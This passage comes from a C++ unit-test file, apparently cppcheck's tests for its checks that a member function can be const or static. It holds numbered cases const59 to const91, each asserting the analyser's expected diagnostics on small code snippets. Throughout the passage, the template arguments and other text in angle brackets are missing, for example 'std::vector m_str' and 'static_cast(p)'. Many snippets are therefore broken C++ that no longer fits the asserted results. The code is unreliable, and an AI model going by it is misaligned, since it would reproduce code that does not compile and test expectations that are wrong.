\"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" std::string f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'MyObject::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const59() { // ticket #4646\n checkConst(\"class C {\\n\"\n \"public:\\n\"\n \" inline void operator += (const int &x ) { re += x; }\\n\"\n \" friend inline void exp(C & c, const C & x) { }\\n\"\n \"protected:\\n\"\n \" int re;\\n\"\n \" int im;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const60() { // ticket #3322\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs ) {\\n\"\n \" delete m_ptr;\\n\"\n \" m_ptr = new char[42];\\n\"\n \" }\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs );\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const61() { // ticket #5606 - don't crash\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" int GetAudioFrame();\\n\"\n \"};\\n\"\n \"int MixerParticipant::GetAudioFrame() {\\n\"\n \" return 0;\\n\"\n \"}\");\n\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" bool InitializeFileReader() {\\n\"\n \" printf(\\\"music\\\");\\n\"\n \" }\\n\"\n \"};\");\n\n // Based on an example from SVN source code causing an endless recursion within CheckClass::isConstMemberFunc()\n // A more complete example including a template declaration like\n // template class Hash{/* ... */};\n // didn't .\n checkConst(\"template<>\\n\"\n \"class Hash {\\n\"\n \"protected:\\n\"\n \" typedef Key::key_type key_type;\\n\"\n \" void set(const Key& key);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"class Hash : private Hash {\\n\"\n \" typedef Hash inherited;\\n\"\n \" void set(const Key& key) {\\n\"\n \" inherited::set(inherited::Key(key));\\n\"\n \" }\\n\"\n \"};\\n\", dinit(CheckConstOptions, $.inconclusive = false));\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:23]: (performance, inconclusive) Either there is a missing 'override', or the member function 'MixerParticipant::GetAudioFrame' can be static. [functionStatic]\\n\",\n errout_str());\n }\n\n void const62() {\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::unordered_map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const63() {\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string* p = &s;\\n\"\n \" p->clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = sth; r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string* p = &s;\\n\"\n \" p->somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string& r = s;\\n\"\n \" r.somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const64() {\n checkConst(\"namespace B {\\n\"\n \" namespace D {\\n\"\n \" typedef int DKIPtr;\\n\"\n \" }\\n\"\n \" class ZClass {\\n\"\n \" void set(const ::B::D::DKIPtr& p) {\\n\"\n \" membervariable = p;\\n\"\n \" }\\n\"\n \" ::B::D::DKIPtr membervariable;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const65() {\n checkConst(\"template \\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"template <>\\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" TemplateClass a;\\n\"\n \" TemplateClass b;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const66() {\n checkConst(\"struct C {\\n\"\n \" C() : n(0) {}\\n\"\n \" void f(int v) { g((char *) &v); }\\n\"\n \" void g(char *) { n++; }\\n\"\n \" int n;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const67() { // #9193\n checkConst(\"template >\\n\"\n \"class TestList {\\n\"\n \"public:\\n\"\n \" LIST_T m_list;\\n\"\n \"};\\n\"\n \"class Test {\\n\"\n \"public:\\n\"\n \" const std::list>& get() { return m_test.m_list; }\\n\"\n \" TestList> m_test;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:44]: (style, inconclusive) Technically the member function 'Test::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const68() { // #6471\n checkConst(\"class MyClass {\\n\"\n \" void clear() {\\n\"\n \" SVecPtr v = (SVecPtr) m_data;\\n\"\n \" v->clear();\\n\"\n \" }\\n\"\n \" void* m_data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const69() { // #9806\n checkConst(\"struct A {\\n\"\n \" int a = 0;\\n\"\n \" template void call(const Args &... args) { a = 1; }\\n\"\n \" template auto call(const Args &... args) -> T {\\n\"\n \" a = 2;\\n\"\n \" return T{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B : public A {\\n\"\n \" void test() {\\n\"\n \" call();\\n\"\n \" call(1, 2, 3);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const70() {\n checkConst(\"struct A {\\n\"\n \" template void call(Args ... args) {\\n\"\n \" func(this);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void test() {\\n\"\n \" call(1, 2);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const71() { // #10146\n checkConst(\"struct Bar {\\n\"\n \" int j = 5;\\n\"\n \" void f(int& i) const { i += j; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar bar;\\n\"\n \" int k{};\\n\"\n \" void g() { bar.f(k); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j, int*& p) {\\n\"\n \" p = &(((a[j])));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const72() { // #10520\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n }\n\n void const73() {\n checkConst(\"struct A {\\n\"\n \" int* operator[](int i);\\n\"\n \" const int* operator[](int i) const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j) {\\n\"\n \" int* p = a[j];\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10758\n \" T* h;\\n\"\n \" void f(); \\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" char* c = h->x[y];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const74() { // #10671\n checkConst(\"class A {\\n\"\n \" std::vector m_str;\\n\"\n \"public:\\n\"\n \" A() {}\\n\"\n \" void bar(void) {\\n\"\n \" for(std::vector::const_iterator it = m_str.begin(); it != m_str.end(); ++it) {;}\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'A::bar' can be const. [functionConst]\\n\", errout_str());\n\n // Don't crash\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (std::vector::const_iterator it = v.begin(), end = v.end(); it != end; ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const75() { // #10065\n checkConst(\"namespace N { int i = 0; }\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int i = 0;\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace N {\\n\"\n \" struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::S::i) {}\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style, inconclusive) Technically the member function 'N::S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const76() { // #10825\n checkConst(\"struct S {\\n\"\n \" enum E {};\\n\"\n \" void f(const T* t);\\n\"\n \" E e;\\n\"\n \"};\\n\"\n \"struct T { void e(); };\\n\"\n \"void S::f(const T* t) {\\n\"\n \" const_cast(t)->e();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:9]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const77() {\n checkConst(\"template \\n\" // #10307\n \"struct S {\\n\"\n \" std::vector const* f() const { return p; }\\n\"\n \" std::vector const* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10311\n \" std::vector v;\\n\"\n \" std::vector& f() { return v; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const78() { // #10315\n checkConst(\"struct S {\\n\"\n \" typedef void(S::* F)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" using F = void(S::*)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const79() { // #9861\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" char* f() {\\n\"\n \" return nullptr;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const80() { // #11328\n checkConst(\"struct B { static void b(); };\\n\"\n \"struct S : B {\\n\"\n \" static void f() {}\\n\"\n \" void g() const;\\n\"\n \" void h();\\n\"\n \" void k();\\n\"\n \" void m();\\n\"\n \" void n();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::g() const {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::h() {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::k() {\\n\"\n \" if (i)\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::m() {\\n\"\n \" this->B::b();\\n\"\n \"}\\n\"\n \"void S::n() {\\n\"\n \" this->h();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:11:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:14:9]: (performance, inconclusive) Technically the member function 'S::h' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:17:9]: (style, inconclusive) Technically the member function 'S::k' can be const. [functionConst]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:21:9]: (performance, inconclusive) Technically the member function 'S::m' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const81() {\n checkConst(\"struct A {\\n\" // #11330\n \" bool f() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::shared_ptr a;\\n\"\n \" void g() {\\n\"\n \" if (a->f()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\" // #11499\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:8]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(void*) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \" P& operator=(P) {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" std::vector g() { p->f(nullptr); return {}; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:14:20]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int&) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" int i;\\n\"\n \" void g() { p->f(i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\" // #11501\n \" enum E { E1 };\\n\"\n \" virtual void f(E) const = 0;\\n\"\n \"};\\n\"\n \"struct F {\\n\"\n \" A* a;\\n\"\n \" void g() { a->f(A::E1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (style, inconclusive) Technically the member function 'F::g' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const82() { // #11513\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(bool) const;\\n\"\n \" void g() { h(i == 1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(int, int*) const;\\n\"\n \" void g() { int a; h(i, &a); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const83() {\n checkConst(\"struct S {\\n\"\n \" int i1, i2;\\n\"\n \" void f(bool b);\\n\"\n \" void g(bool b, int j);\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" int& r = b ? i1 : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\"\n \"void S::g(bool b, int j) {\\n\"\n \" int& r = b ? j : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const84() {\n checkConst(\"class S {};\\n\" // #11616\n \"struct T {\\n\"\n \" T(const S*);\\n\"\n \" T(const S&);\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" const S s;\\n\"\n \" void f1() {\\n\"\n \" T t(&s);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" T t(s);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'C::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'C::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const85() { // #11618\n checkConst(\"struct S {\\n\"\n \" int a[2], b[2];\\n\"\n \" void f() { f(a, b); }\\n\"\n \" static void f(const int p[2], int q[2]);\\n\"\n \"};\\n\"\n \"void S::f(const int p[2], int q[2]) {\\n\"\n \" q[0] = p[0];\\n\"\n \" q[1] = p[1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const86() { // #11621\n checkConst(\"struct S { int* p; };\\n\"\n \"struct T { int m; int* p; };\\n\"\n \"struct U {\\n\"\n \" int i;\\n\"\n \" void f() { S s = { &i }; }\\n\"\n \" void g() { int* a[] = { &i }; }\\n\"\n \" void h() { T t = { 1, &i }; }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const87() {\n checkConst(\"struct Tokenizer {\\n\" // #11720\n \" bool isCPP() const {\\n\"\n \" return cpp;\\n\"\n \" }\\n\"\n \" bool cpp;\\n\"\n \"};\\n\"\n \"struct Check {\\n\"\n \" const Tokenizer* const mTokenizer;\\n\"\n \" const int* const mSettings;\\n\"\n \"};\\n\"\n \"struct CheckA : Check {\\n\"\n \" static bool test(const std::string& funcname, const int* settings, bool cpp);\\n\"\n \"};\\n\"\n \"struct CheckB : Check {\\n\"\n \" bool f(const std::string& s);\\n\"\n \"};\\n\"\n \"bool CheckA::test(const std::string& funcname, const int* settings, bool cpp) {\\n\"\n \" return !funcname.empty() && settings && cpp;\\n\"\n \"}\\n\"\n \"bool CheckB::f(const std::string& s) {\\n\"\n \" return CheckA::test(s, mSettings, mTokenizer->isCPP());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:15:10] -> [test.cpp:20:14]: (style, inconclusive) Technically the member function 'CheckB::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"void g(int&);\\n\"\n \"struct S {\\n\"\n \" struct { int i; } a[1];\\n\"\n \" void f() { g(a[0].i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void j(int** x);\\n\"\n \"void k(int* const* y);\\n\"\n \"struct S {\\n\"\n \" int* p;\\n\"\n \" int** q;\\n\"\n \" int* const* r;\\n\"\n \" void f1() { j(&p); }\\n\"\n \" void f2() { j(q); }\\n\"\n \" void g1() { k(&p); }\\n\"\n \" void g2() { k(q); }\\n\"\n \" void g3() { k(r); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void m(int*& r);\\n\"\n \"void n(int* const& s);\\n\"\n \"struct T {\\n\"\n \" int i;\\n\"\n \" int* p;\\n\"\n \" void f1() { m(p); }\\n\"\n \" void f2() { n(&i); }\\n\"\n \" void f3() { n(p); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const88() { // #11626\n checkConst(\"struct S {\\n\"\n \" bool f() { return static_cast(p); }\\n\"\n \" const int* g() { return const_cast(p); }\\n\"\n \" const int* h() { return (const int*)p; }\\n\"\n \" char* j() { return reinterpret_cast(p); }\\n\"\n \" char* k() { return (char*)p; }\\n\"\n \" int* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:3:16]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:4:16]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" bool f() { return p != nullptr; }\\n\"\n \" std::shared_ptr p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const89() {\n checkConst(\"struct S {\\n\" // #11654\n \" void f(bool b);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" if (i && b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" void f(int& r);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(int& r) {\\n\"\n \" r = 0;\\n\"\n \" if (i)\\n\"\n \" f(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #11744\n \" S* p;\\n\"\n \" int f() {\\n\"\n \" if (p)\\n\"\n \" return 1 + p->f();\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" int g(int i) {\\n\"\n \" if (i > 0)\\n\"\n \" return i + g(i - 1);\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:8:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n\n checkConst(\"class C {\\n\" // #11653\n \"public:\\n\"\n \" void f(bool b) const;\\n\"\n \"};\\n\"\n \"void C::f(bool b) const {\\n\"\n \" if (b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (performance, inconclusive) Technically the member function 'C::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const90() { // #11637\n checkConst(\"class S {};\\n\"\n \"struct C {\\n\"\n \" C(const S*);\\n\"\n \" C(const S&);\\n\"\n \"};\\n\"\n \"class T {\\n\"\n \" S s;\\n\"\n \" void f1() { C c = C{ &s }; }\\n\"\n \" void f2() { C c = C{ s }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'T::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const91() { // #11790\n checkConst(\"struct S {\\n\"\n \" char* p;\\n\"\n \" template \\n\"\n \" T* get() {\\n\"\n \" return reinterpret_cast(p);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const int* f(S& s) {\\n\"\n \" return s.get();\\n\"\n 